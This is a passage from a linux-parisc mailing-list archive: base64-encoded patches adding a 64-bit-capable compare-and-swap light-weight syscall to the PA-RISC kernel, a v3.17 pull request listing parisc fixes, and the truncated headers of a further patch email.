SU5ERVgpOwlcCisgICAgfSB3aGlsZSAoZmFpbHVyZSAhPSAwKTsJCQkJCVwKICAgfQogCi1TVUJX
T1JEX1RFU1RfQU5EX1NFVCAodW5zaWduZWQgc2hvcnQsIDIpCi1TVUJXT1JEX1RFU1RfQU5EX1NF
VCAodW5zaWduZWQgY2hhciwgIDEpCitTWU5DX0xPQ0tfUkVMRUFTRV8yIChsb25nIGxvbmcsIDgs
IDMpCitTWU5DX0xPQ0tfUkVMRUFTRV8yIChzaG9ydCwgICAgIDIsIDEpCitTWU5DX0xPQ0tfUkVM
RUFTRV8yIChjaGFyLCAgICAgIDEsIDApCiAKIHZvaWQgSElEREVOCiBfX3N5bmNfbG9ja19yZWxl
YXNlXzQgKGludCAqcHRyKQpAQCAtMzA0LDIzICszNDcsMyBAQAogICB9IHdoaWxlIChmYWlsdXJl
ICE9IDApOwogfQogCi0jZGVmaW5lIFNZTkNfTE9DS19SRUxFQVNFKFRZUEUsIFdJRFRIKQkJCQkJ
XAotICB2b2lkIEhJRERFTgkJCQkJCQkJXAotICBfX3N5bmNfbG9ja19yZWxlYXNlXyMjV0lEVEgg
KFRZUEUgKnB0cikJCQkJXAotICB7CQkJCQkJCQkJXAotICAgIGludCBmYWlsdXJlOwkJCQkJCQlc
Ci0gICAgdW5zaWduZWQgaW50IG9sZHZhbCwgbmV3dmFsLCBzaGlmdCwgbWFzazsJCQkJXAotICAg
IGludCAqd29yZHB0ciA9IChpbnQgKikgKCh1bnNpZ25lZCBsb25nKSBwdHIgJiB+Myk7CQkJXAot
CQkJCQkJCQkJXAotICAgIHNoaWZ0ID0gKCgodW5zaWduZWQgbG9uZykgcHRyICYgMykgPDwgMykg
XiBJTlZFUlRfTUFTS18jI1dJRFRIOwlcCi0gICAgbWFzayA9IE1BU0tfIyNXSURUSCA8PCBzaGlm
dDsJCQkJCVwKLQkJCQkJCQkJCVwKLSAgICBkbyB7CQkJCQkJCQlcCi0gICAgICBvbGR2YWwgPSAq
d29yZHB0cjsJCQkJCQlcCi0gICAgICBuZXd2YWwgPSBvbGR2YWwgJiB+bWFzazsJCQkJCQlcCi0g
ICAgICBmYWlsdXJlID0gX19rZXJuZWxfY21weGNoZyAob2xkdmFsLCBuZXd2YWwsIHdvcmRwdHIp
OwkJXAotICAgIH0gd2hpbGUgKGZhaWx1cmUgIT0gMCk7CQkJCQkJXAotICB9Ci0KLVNZTkNfTE9D
S19SRUxFQVNFIChzaG9ydCwgMikKLVNZTkNfTE9DS19SRUxFQVNFIChjaGFyLCAgMSkK
--=_e937cc244f4961e3d29dac717a1baec1
Content-Transfer-Encoding: base64
Content-Type: text/x-diff;
 name=linux-hppa-atomic-cas2_v3.patch
Content-Disposition: attachment;
 filename=linux-hppa-atomic-cas2_v3.patch;
 size=7688

cGFyaXNjOiBJbXBsZW1lbnQgbmV3IExXUyBDQVMgc3VwcG9ydGluZyA2NCBiaXQgb3BlcmF0aW9u
cy4KClRoZSBjdXJyZW50IExXUyBjYXMgb25seSB3b3JrcyBjb3JyZWN0bHkgZm9yIDMyYml0LiBU
aGUgbmV3IExXUyBhbGxvd3MgZm9yCkNBUyBvcGVyYXRpb25zIG9mIHZhcmlhYmxlIHNpemUuCgpT
aWduZWQtb2ZmLWJ5OiBHdXkgTWFydGluIDxnbXNvZnRAdHV4aWNvbWFuLmJlPgoKZGlmZiAtLWdp
dCBhL2FyY2gvcGFyaXNjL2tlcm5lbC9zeXNjYWxsLlMgYi9hcmNoL3BhcmlzYy9rZXJuZWwvc3lz
Y2FsbC5TCmluZGV4IDgzODc4NjAuLjdlZjIyZTMgMTAwNjQ0Ci0tLSBhL2FyY2gvcGFyaXNjL2tl
cm5lbC9zeXNjYWxsLlMKKysrIGIvYXJjaC9wYXJpc2Mva2VybmVsL3N5c2NhbGwuUwpAQCAtNzQs
NyArNzQsNyBAQCBFTlRSWShsaW51eF9nYXRld2F5X3BhZ2UpCiAJLyogQUREUkVTUyAweGIwIHRv
IDB4YjgsIGx3cyB1c2VzIHR3byBpbnNucyBmb3IgZW50cnkgKi8KIAkvKiBMaWdodC13ZWlnaHQt
c3lzY2FsbCBlbnRyeSBtdXN0IGFsd2F5cyBiZSBsb2NhdGVkIGF0IDB4YjAgKi8KIAkvKiBXQVJO
SU5HOiBLZWVwIHRoaXMgbnVtYmVyIHVwZGF0ZWQgd2l0aCB0YWJsZSBzaXplIGNoYW5nZXMgKi8K
LSNkZWZpbmUgX19OUl9sd3NfZW50cmllcyAoMikKKyNkZWZpbmUgX19OUl9sd3NfZW50cmllcyAo
MykKIAogbHdzX2VudHJ5OgogCWdhdGUJbHdzX3N0YXJ0LCAlcjAJCS8qIGluY3JlYXNlIHByaXZp
bGVnZSAqLwpAQCAtNTAyLDcgKzUwMiw3IEBAIGx3c19leGl0OgogCiAJCiAJLyoqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKioqKgotCQlJbXBsZW1lbnRpbmcg
Q0FTIGFzIGFuIGF0b21pYyBvcGVyYXRpb246CisJCUltcGxlbWVudGluZyAzMmJpdCBDQVMgYXMg
YW4gYXRvbWljIG9wZXJhdGlvbjoKIAogCQklcjI2IC0gQWRkcmVzcyB0byBleGFtaW5lCiAJCSVy
MjUgLSBPbGQgdmFsdWUgdG8gY2hlY2sgKG9sZCkKQEAgLTY1OSw2ICs2NTksMjMwIEBAIGNhc19h
Y3Rpb246CiAJQVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDJiLWxpbnV4X2dhdGV3YXlfcGFnZSwg
M2ItbGludXhfZ2F0ZXdheV9wYWdlKQogCiAKKwkvKioqKioqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqCisJCU5ldyBDQVMgaW1wbGVtZW50YXRpb24gd2hpY2gg
dXNlcyBwb2ludGVycyBhbmQgdmFyaWFibGUgc2l6ZQorCQlpbmZvcm1hdGlvbi4gVGhlIHZhbHVl
IHBvaW50ZWQgYnkgb2xkIGFuZCBuZXcgTVVTVCBOT1QgY2hhbmdlCisJCXdoaWxlIHBlcmZvcm1p
bmcgQ0FTLiBUaGUgbG9jayBvbmx5IHByb3RlY3QgdGhlIHZhbHVlIGF0ICVyMjYuCisKKwkJJXIy
NiAtIEFkZHJlc3MgdG8gZXhhbWluZQorCQklcjI1IC0gUG9pbnRlciB0byB0aGUgdmFsdWUgdG8g
Y2hlY2sgKG9sZCkKKwkJJXIyNCAtIFBvaW50ZXIgdG8gdGhlIHZhbHVlIHRvIHNldCAobmV3KQor
CQklcjIzIC0gU2l6ZSBvZiB0aGUgdmFyaWFibGUgKDAvMS8yLzMgZm9yIDgvMTYvMzIvNjQgYml0
KQorCQklcjI4IC0gUmV0dXJuIG5vbi16ZXJvIG9uIGZhaWx1cmUKKwkJJXIyMSAtIEtlcm5lbCBl
cnJvciBjb2RlCisKKwkJJXIyMSBoYXMgdGhlIGZvbGxvd2luZyBtZWFuaW5nczoKKworCQlFQUdB
SU4gLSBDQVMgaXMgYnVzeSwgbGRjdyBmYWlsZWQsIHRyeSBhZ2Fpbi4KKwkJRUZBVUxUIC0gUmVh
ZCBvciB3cml0ZSBmYWlsZWQuCisKKwkJU2NyYXRjaDogcjIwLCByMjIsIHIyOCwgcjI5LCByMSwg
ZnI0ICgzMmJpdCBmb3IgNjRiaXQgQ0FTIG9ubHkpCisKKwkqKioqKioqKioqKioqKioqKioqKioq
KioqKioqKioqKioqKioqKioqKioqKioqKioqKioqLworCisJLyogRUxGMzIgUHJvY2VzcyBlbnRy
eSBwYXRoICovCitsd3NfY29tcGFyZV9hbmRfc3dhcF8yOgorI2lmZGVmIENPTkZJR182NEJJVAor
CS8qIENsaXAgdGhlIGlucHV0IHJlZ2lzdGVycyAqLworCWRlcGRpCTAsIDMxLCAzMiwgJXIyNgor
CWRlcGRpCTAsIDMxLCAzMiwgJXIyNQorCWRlcGRpCTAsIDMxLCAzMiwgJXIyNAorCWRlcGRpCTAs
IDMxLCAzMiwgJXIyMworI2VuZGlmCisKKwkvKiBDaGVjayB0aGUgdmFsaWRpdHkgb2YgdGhlIHNp
emUgcG9pbnRlciAqLworCXN1YmksPj49IDQsICVyMjMsICVyMAorCWIsbglsd3NfZXhpdF9ub3N5
cworCisJLyogSnVtcCB0byB0aGUgZnVuY3Rpb25zIHdoaWNoIHdpbGwgbG9hZCB0aGUgb2xkIGFu
ZCBuZXcgdmFsdWVzIGludG8KKwkgICByZWdpc3RlcnMgZGVwZW5kaW5nIG9uIHRoZSB0aGVpciBz
aXplICovCisJc2hsdwklcjIzLCAyLCAlcjI5CisJYmxyCSVyMjksICVyMAorCW5vcAorCisJLyog
OGJpdCBsb2FkICovCis0OglsZGIJMCglc3IzLCVyMjUpLCAlcjI1CisJYgljYXMyX2xvY2tfc3Rh
cnQKKzU6CWxkYgkwKCVzcjMsJXIyNCksICVyMjQKKwlub3AKKwlub3AKKwlub3AKKwlub3AKKwlu
b3AKKworCS8qIDE2Yml0IGxvYWQgKi8KKzY6CWxkaAkwKCVzcjMsJXIyNSksICVyMjUKKwliCWNh
czJfbG9ja19zdGFydAorNzoJbGRoCTAoJXNyMywlcjI0KSwgJXIyNAorCW5vcAorCW5vcAorCW5v
cAorCW5vcAorCW5vcAorCisJLyogMzJiaXQgbG9hZCAqLworODoJbGR3CTAoJXNyMywlcjI1KSwg
JXIyNQorCWIJY2FzMl9sb2NrX3N0YXJ0Cis5OglsZHcJMCglc3IzLCVyMjQpLCAlcjI0CisJbm9w
CisJbm9wCisJbm9wCisJbm9wCisJbm9wCisKKwkvKiA2NGJpdCBsb2FkICovCisjaWZkZWYgQ09O
RklHXzY0QklUCisxMDoJbGRkCTAoJXNyMywlcjI1KSwgJXIyNQorMTE6CWxkZAkwKCVzcjMsJXIy
NCksICVyMjQKKyNlbHNlCisJLyogTG9hZCBuZXcgdmFsdWUgaW50byByMjIvcjIzIC0gaGlnaC9s
b3cgKi8KKzEwOglsZHcJMCglc3IzLCVyMjUpLCAlcjIyCisxMToJbGR3CTQoJXNyMywlcjI1KSwg
JXIyMworCS8qIExvYWQgbmV3IHZhbHVlIGludG8gZnI0IGZvciBhdG9taWMgc3RvcmUgbGF0ZXIg
Ki8KKzEyOglmbGRkeAkwKCVzcjMsJXIyNCksICVmcjQKKyNlbmRpZgorCitjYXMyX2xvY2tfc3Rh
cnQ6CisJLyogTG9hZCBzdGFydCBvZiBsb2NrIHRhYmxlICovCisJbGRpbAlMJWx3c19sb2NrX3N0
YXJ0LCAlcjIwCisJbGRvCVIlbHdzX2xvY2tfc3RhcnQoJXIyMCksICVyMjgKKworCS8qIEV4dHJh
Y3QgZm91ciBiaXRzIGZyb20gcjI2IGFuZCBoYXNoIGxvY2sgKEJpdHMgNC03KSAqLworCWV4dHJ1
ICAlcjI2LCAyNywgNCwgJXIyMAorCisJLyogRmluZCBsb2NrIHRvIHVzZSwgdGhlIGhhc2ggaXMg
ZWl0aGVyIG9uZSBvZiAwIHRvCisJICAgMTUsIG11bHRpcGxpZWQgYnkgMTYgKGtlZXAgaXQgMTYt
Ynl0ZSBhbGlnbmVkKQorCSAgIGFuZCBhZGQgdG8gdGhlIGxvY2sgdGFibGUgb2Zmc2V0LiAqLwor
CXNobHcJJXIyMCwgNCwgJXIyMAorCWFkZAklcjIwLCAlcjI4LCAlcjIwCisKKwlyc20JUFNXX1NN
X0ksICVyMAkJCS8qIERpc2FibGUgaW50ZXJydXB0cyAqLworCS8qIENPVyBicmVha3MgY2FuIGNh
dXNlIGNvbnRlbnRpb24gb24gVVAgc3lzdGVtcyAqLworCUxEQ1cJMCglc3IyLCVyMjApLCAlcjI4
CQkvKiBUcnkgdG8gYWNxdWlyZSB0aGUgbG9jayAqLworCWNtcGIsPD4sbgklcjAsICVyMjgsIGNh
czJfYWN0aW9uCS8qIERpZCB3ZSBnZXQgaXQ/ICovCitjYXMyX3dvdWxkYmxvY2s6CisJbGRvCTIo
JXIwKSwgJXIyOAkJCS8qIDJuZCBjYXNlICovCisJc3NtCVBTV19TTV9JLCAlcjAKKwliCWx3c19l
eGl0CQkJLyogQ29udGVuZGVkLi4uICovCisJbGRvCS1FQUdBSU4oJXIwKSwgJXIyMQkJLyogU3Bp
biBpbiB1c2Vyc3BhY2UgKi8KKworCS8qCisJCXByZXYgPSAqYWRkcjsKKwkJaWYgKCBwcmV2ID09
IG9sZCApCisJCSAgKmFkZHIgPSBuZXc7CisJCXJldHVybiBwcmV2OworCSovCisKKwkvKiBOT1RF
UzoKKwkJVGhpcyBhbGwgd29ya3MgYmVjdXNlIGludHJfZG9fc2lnbmFsCisJCWFuZCBzY2hlZHVs
ZSBib3RoIGNoZWNrIHRoZSByZXR1cm4gaWFzcQorCQlhbmQgc2VlIHRoYXQgd2UgYXJlIG9uIHRo
ZSBrZXJuZWwgcGFnZQorCQlzbyB0aGlzIHByb2Nlc3MgaXMgbmV2ZXIgc2NoZWR1bGVkIG9mZgor
CQlvciBpcyBldmVyIHNlbnQgYW55IHNpZ25hbCBvZiBhbnkgc29ydCwKKwkJdGh1cyBpdCBpcyB3
aG9sbHkgYXRvbWljIGZyb20gdXNyc3BhY2VzCisJCXBlcnNwZWN0aXZlCisJKi8KK2NhczJfYWN0
aW9uOgorCS8qIEp1bXAgdG8gdGhlIGNvcnJlY3QgZnVuY3Rpb24gKi8KKwlibHIJJXIyOSwgJXIw
CisJLyogU2V0ICVyMjggYXMgbm9uLXplcm8gZm9yIG5vdyAqLworCWxkbwkxKCVyMCksJXIyOAor
CisJLyogOGJpdCBDQVMgKi8KKzEzOglsZGIsbWEJMCglc3IzLCVyMjYpLCAlcjI5CisJc3ViLD0J
JXIyOSwgJXIyNSwgJXIwCisJYixuCWNhczJfZW5kCisxNDoJc3RiLG1hCSVyMjQsIDAoJXNyMywl
cjI2KQorCWIJY2FzMl9lbmQKKwljb3B5CSVyMCwgJXIyOAorCW5vcAorCW5vcAorCisJLyogMTZi
aXQgQ0FTICovCisxNToJbGRoLG1hCTAoJXNyMywlcjI2KSwgJXIyOQorCXN1Yiw9CSVyMjksICVy
MjUsICVyMAorCWIsbgljYXMyX2VuZAorMTY6CXN0aCxtYQklcjI0LCAwKCVzcjMsJXIyNikKKwli
CWNhczJfZW5kCisJY29weQklcjAsICVyMjgKKwlub3AKKwlub3AKKworCS8qIDMyYml0IENBUyAq
LworMTc6CWxkdyxtYQkwKCVzcjMsJXIyNiksICVyMjkKKwlzdWIsPQklcjI5LCAlcjI1LCAlcjAK
KwliLG4JY2FzMl9lbmQKKzE4OglzdHcsbWEJJXIyNCwgMCglc3IzLCVyMjYpCisJYgljYXMyX2Vu
ZAorCWNvcHkJJXIwLCAlcjI4CisJbm9wCisJbm9wCisKKwkvKiA2NGJpdCBDQVMgKi8KKyNpZmRl
ZiBDT05GSUdfNjRCSVQKKzE5OglsZGQsbWEJMCglc3IzLCVyMjYpLCAlcjI5CisJc3ViLD0JJXIy
OSwgJXIyNSwgJXIwCisJYixuCWNhczJfZW5kCisyMDoJc3RkLG1hCSVyMjQsIDAoJXNyMywlcjI2
KQorCWNvcHkJJXIwLCAlcjI4CisjZWxzZQorCS8qIENvbXBhcmUgZmlyc3Qgd29yZCAqLworMTk6
CWxkdyxtYQkwKCVzcjMsJXIyNiksICVyMjkKKwlzdWIsPQklcjI5LCAlcjIyLCAlcjAKKwliLG4J
Y2FzMl9lbmQKKwkvKiBDb21wYXJlIHNlY29uZCB3b3JkICovCisyMDoJbGR3LG1hCTQoJXNyMywl
cjI2KSwgJXIyOQorCXN1Yiw9CSVyMjksICVyMjMsICVyMAorCWIsbgljYXMyX2VuZAorCS8qIFBl
cmZvcm0gdGhlIHN0b3JlICovCisyMToJZnN0ZHgJJWZyNCwgMCglc3IzLCVyMjYpCisJY29weQkl
cjAsICVyMjgKKyNlbmRpZgorCitjYXMyX2VuZDoKKwkvKiBGcmVlIGxvY2sgKi8KKwlzdHcsbWEJ
JXIyMCwgMCglc3IyLCVyMjApCisJLyogRW5hYmxlIGludGVycnVwdHMgKi8KKwlzc20JUFNXX1NN
X0ksICVyMAorCS8qIFJldHVybiB0byB1c2Vyc3BhY2UsIHNldCBubyBlcnJvciAqLworCWIJbHdz
X2V4aXQKKwljb3B5CSVyMCwgJXIyMQorCisyMjoKKwkvKiBFcnJvciBvY2N1cnJlZCBvbiBsb2Fk
IG9yIHN0b3JlICovCisJLyogRnJlZSBsb2NrICovCisJc3R3CSVyMjAsIDAoJXNyMiwlcjIwKQor
CXNzbQlQU1dfU01fSSwgJXIwCisJbGRvCTEoJXIwKSwlcjI4CisJYglsd3NfZXhpdAorCWxkbwkt
RUZBVUxUKCVyMCksJXIyMQkvKiBzZXQgZXJybm8gKi8KKwlub3AKKwlub3AKKwlub3AKKworCS8q
IEV4Y2VwdGlvbiB0YWJsZSBlbnRyaWVzLCBmb3IgdGhlIGxvYWQgYW5kIHN0b3JlLCByZXR1cm4g
RUZBVUxULgorCSAgIEVhY2ggb2YgdGhlIGVudHJpZXMgbXVzdCBiZSByZWxvY2F0ZWQuICovCisJ
QVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDRiLWxpbnV4X2dhdGV3YXlfcGFnZSwgMjJiLWxpbnV4
X2dhdGV3YXlfcGFnZSkKKwlBU01fRVhDRVBUSU9OVEFCTEVfRU5UUlkoNWItbGludXhfZ2F0ZXdh
eV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRS
WSg2Yi1saW51eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2UpCisJQVNNX0VY
Q0VQVElPTlRBQkxFX0VOVFJZKDdiLWxpbnV4X2dhdGV3YXlfcGFnZSwgMjJiLWxpbnV4X2dhdGV3
YXlfcGFnZSkKKwlBU01fRVhDRVBUSU9OVEFCTEVfRU5UUlkoOGItbGludXhfZ2F0ZXdheV9wYWdl
LCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRSWSg5Yi1s
aW51eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2UpCisJQVNNX0VYQ0VQVElP
TlRBQkxFX0VOVFJZKDEwYi1saW51eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3Bh
Z2UpCisJQVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDExYi1saW51eF9nYXRld2F5X3BhZ2UsIDIy
Yi1saW51eF9nYXRld2F5X3BhZ2UpCisJQVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDEzYi1saW51
eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2UpCisJQVNNX0VYQ0VQVElPTlRB
QkxFX0VOVFJZKDE0Yi1saW51eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2Up
CisJQVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDE1Yi1saW51eF9nYXRld2F5X3BhZ2UsIDIyYi1s
aW51eF9nYXRld2F5X3BhZ2UpCisJQVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDE2Yi1saW51eF9n
YXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2UpCisJQVNNX0VYQ0VQVElPTlRBQkxF
X0VOVFJZKDE3Yi1saW51eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2UpCisJ
QVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDE4Yi1saW51eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51
eF9nYXRld2F5X3BhZ2UpCisJQVNNX0VYQ0VQVElPTlRBQkxFX0VOVFJZKDE5Yi1saW51eF9nYXRl
d2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2UpCisJQVNNX0VYQ0VQVElPTlRBQkxFX0VO
VFJZKDIwYi1saW51eF9nYXRld2F5X3BhZ2UsIDIyYi1saW51eF9nYXRld2F5X3BhZ2UpCisjaWZu
ZGVmIENPTkZJR182NEJJVAorCUFTTV9FWENFUFRJT05UQUJMRV9FTlRSWSgxMmItbGludXhfZ2F0
ZXdheV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorCUFTTV9FWENFUFRJT05UQUJMRV9F
TlRSWSgyMWItbGludXhfZ2F0ZXdheV9wYWdlLCAyMmItbGludXhfZ2F0ZXdheV9wYWdlKQorI2Vu
ZGlmCisKIAkvKiBNYWtlIHN1cmUgbm90aGluZyBlbHNlIGlzIHBsYWNlZCBvbiB0aGlzIHBhZ2Ug
Ki8KIAkuYWxpZ24gUEFHRV9TSVpFCiBFTkQobGludXhfZ2F0ZXdheV9wYWdlKQpAQCAtNjc1LDgg
Kzg5OSw5IEBAIEVOVFJZKGVuZF9saW51eF9nYXRld2F5X3BhZ2UpCiAJLyogTGlnaHQtd2VpZ2h0
LXN5c2NhbGwgdGFibGUgKi8KIAkvKiBTdGFydCBvZiBsd3MgdGFibGUuICovCiBFTlRSWShsd3Nf
dGFibGUpCi0JTFdTX0VOVFJZKGNvbXBhcmVfYW5kX3N3YXAzMikJLyogMCAtIEVMRjMyIEF0b21p
YyBjb21wYXJlIGFuZCBzd2FwICovCi0JTFdTX0VOVFJZKGNvbXBhcmVfYW5kX3N3YXA2NCkJLyog
MSAtIEVMRjY0IEF0b21pYyBjb21wYXJlIGFuZCBzd2FwICovCisJTFdTX0VOVFJZKGNvbXBhcmVf
YW5kX3N3YXAzMikJCS8qIDAgLSBFTEYzMiBBdG9taWMgMzJiaXQgQ0FTICovCisJTFdTX0VOVFJZ
KGNvbXBhcmVfYW5kX3N3YXA2NCkJCS8qIDEgLSBFTEY2NCBBdG9taWMgMzJiaXQgQ0FTICovCisJ
TFdTX0VOVFJZKGNvbXBhcmVfYW5kX3N3YXBfMikJCS8qIDIgLSBFTEYzMiBBdG9taWMgNjRiaXQg
Q0FTICovCiBFTkQobHdzX3RhYmxlKQogCS8qIEVuZCBvZiBsd3MgdGFibGUgKi8KIAo=
--=_e937cc244f4961e3d29dac717a1baec1--


--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Helge Deller <deller@gmx.de>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [GIT PULL] parisc fixes for v3.17
Date: Sat, 13 Sep 2014 23:28:19 +0200
Lines: 43
Approved: news@gmane.org
Message-ID: <20140913212819.GA15022@p100.box>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1410643719 31234 80.91.229.3 (13 Sep 2014 21:28:39 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 13 Sep 2014 21:28:39 +0000 (UTC)
To: Linus Torvalds <torvalds@linux-foundation.org>,
	linux-kernel@vger.kernel.org, linux-parisc@vger.kernel.org,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	John David Anglin <dave.anglin@bell.net>
Original-X-From: linux-parisc-owner@vger.kernel.org Sat Sep 13 23:28:31 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XSurv-0002mz-2y
	for glpp-linux-parisc@plane.gmane.org; Sat, 13 Sep 2014 23:28:31 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752248AbaIMV23 (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sat, 13 Sep 2014 17:28:29 -0400
Original-Received: from mout.gmx.net ([212.227.17.22]:60179 "EHLO mout.gmx.net"
	rhost-flags-OK-OK-OK-OK) by vger.kernel.org with ESMTP
	id S1752205AbaIMV23 (ORCPT <rfc822;linux-parisc@vger.kernel.org>);
	Sat, 13 Sep 2014 17:28:29 -0400
Original-Received: from p100.box ([84.173.52.100]) by mail.gmx.com (mrgmx103) with
 ESMTPSA (Nemesis) id 0MgKoE-1XfbtI1ycw-00NgTR; Sat, 13 Sep 2014 23:28:22
 +0200
Content-Disposition: inline
User-Agent: Mutt/1.5.21 (2010-09-15)
X-Provags-ID: V03:K0:tLcJAg9N+UDmKDLz8gUSJP17hx6vYIY8QTc4cLwADOTAQpbWwT3
 3zQxagBjQLsgts+n8XFM+BzPOfiZkbR3B1IpjhIA7KaRjD5f+4/zqL3TeI9anlgWmSt3l8K
 elYUFGHfg5giIK3T+QmXua/QWygMQ85H3a+N+ZnFXYp+8AAe0XCBQGdBdd6WPAiOVsFVxYS
 C6uFnceAv5N/9/mAXb0jw==
X-UI-Out-Filterresults: notjunk:1;
Original-Sender: linux-parisc-owner@vger.kernel.org
Precedence: bulk
List-ID: <linux-parisc.vger.kernel.org>
X-Mailing-List: linux-parisc@vger.kernel.org
Xref: news.gmane.org gmane.linux.ports.parisc:6003 gmane.linux.kernel:1786760
Archived-At: <http://permalink.gmane.org/gmane.linux.ports.parisc/6003>

Hi Linus,

please pull the latest parisc architecture fixes for kernel 3.17 from 
  git://git.kernel.org/pub/scm/linux/kernel/git/deller/parisc-linux.git parisc-3.17-1

Most important patch is a new Light Weigth Syscall (LWS) for 8, 16, 32 and 64
bit atomic CAS operations which is required in order to be able to implement
the atomic gcc builtins on our platform.
Other than that, we wire up the seccomp, getrandom and memfd_create syscalls,
fixes a minor off-by-one bug and a wrong printk string.
 
Thanks,
Helge

----------------------------------------------------------------
Dan Carpenter (1):
      parisc: sys_hpux: NUL terminator is one past the end

Guy Martin (1):
      parisc: Implement new LWS CAS supporting 64 bit operations.

Hans Wennborg (1):
      parisc: dino: fix %d confusingly prefixed with 0x in format string

Helge Deller (1):
      parisc: Wire up seccomp, getrandom and memfd_create syscalls

 arch/parisc/Kconfig                   |  16 +++
 arch/parisc/hpux/sys_hpux.c           |   2 +-
 arch/parisc/include/asm/seccomp.h     |  16 +++
 arch/parisc/include/asm/thread_info.h |   5 +-
 arch/parisc/include/uapi/asm/unistd.h |   5 +-
 arch/parisc/kernel/ptrace.c           |   6 +
 arch/parisc/kernel/syscall.S          | 233 +++++++++++++++++++++++++++++++++-
 arch/parisc/kernel/syscall_table.S    |   3 +
 drivers/parisc/dino.c                 |   2 +-
 9 files changed, 280 insertions(+), 8 deletions(-)
 create mode 100644 arch/parisc/include/asm/seccomp.h
--
To unsubscribe from this list: send the line "unsubscribe linux-parisc" in
the body of a message to majordomo@vger.kernel.org
More majordomo info at  http://vger.kernel.org/majordomo-info.html


From - Thu Nov 08 21:10:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>
Newsgroups: gmane.linux.ports.parisc,gmane.linux.kernel
Subject: [PATCH] parisc: pdc_stable.c:  Cleaning up unnecessary use of memset in conjunction with strncpy
Date: Sun, 14 Sep 2014 18:02:12 +0200
Lines: 30
Approved: news@gmane.org
Message-ID: <1410710532-14429-1-git-send-email-rickard_strandqvist@spectrumdigital.se>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1410710432 28443 80.91.229.3 (14 Sep 2014 16:00:32 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sun, 14 Sep 2014 16:00:32 +0000 (UTC)
Cc: Rickard Strandqvist <rickard_strandqvist@spectrumdigital.se>,
	linux-parisc@vger.kernel.org, linux-kernel@vger.kernel.org
To: "James E.J. Bottomley" <jejb@parisc-linux.org>,
	Helge Deller <deller@gmx.de>
Original-X-From: linux-parisc-owner@vger.kernel.org Sun Sep 14 18:00:25 2014
Return-path: <linux-parisc-owner@vger.kernel.org>
Envelope-to: glpp-linux-parisc@plane.gmane.org
Original-Received: from vger.kernel.org ([209.132.180.67])
	by plane.gmane.org with esmtp (Exim 4.69)
	(envelope-from <linux-parisc-owner@vger.kernel.org>)
	id 1XTCDv-0000bh-WF
	for glpp-linux-parisc@plane.gmane.org; Sun, 14 Sep 2014 18:00:24 +0200
Original-Received: (majordomo@vger.kernel.org) by vger.kernel.org via listexpand
	id S1752709AbaINQAX (ORCPT <rfc822;glpp-linux-parisc@m.gmane.org>);
	Sun, 14 Sep 2014 12:00:23 -0400
Original-Received: from mail-lb0-f181.google.com ([209.85.217.181]:51404 "EHLO
	mail-lb0-f181.google.com" rhost-flags-OK-OK-OK-OK) by vger.kernel.org
	with ESMTP id S1752670AbaINQAW (ORCPT
	<rfc822;linux-parisc@vger.kernel.org>);
	Sun, 14 Sep 2014 12:00:22 -0400
Original-Received: by mail-lb0-f181.google.com with SMTP id z11so3182502lbi.26
        for <linux-parisc@vger.kernel.org>; Sun, 14 Sep 2014 09:00:21 -0700 (PDT)
X-Google-DKIM-Signature: v=1; a=rsa-sha256; c=relaxed/relaxed;
        d=1e100.net; s=20130820;
        h=x-gm-message-state:from:to:cc:subject:date:message-id;
        bh=tgAiIl/PDCLYhWwpcA2oPXTz6GCJCP24qhfpNEPs0kU=;
        b=Q0ECy4YH2HHkMhH1ff1i8oBsRj/E0ZBqhhqhSw0kNoA1VTiELMGtoABSQC88MxyrdP
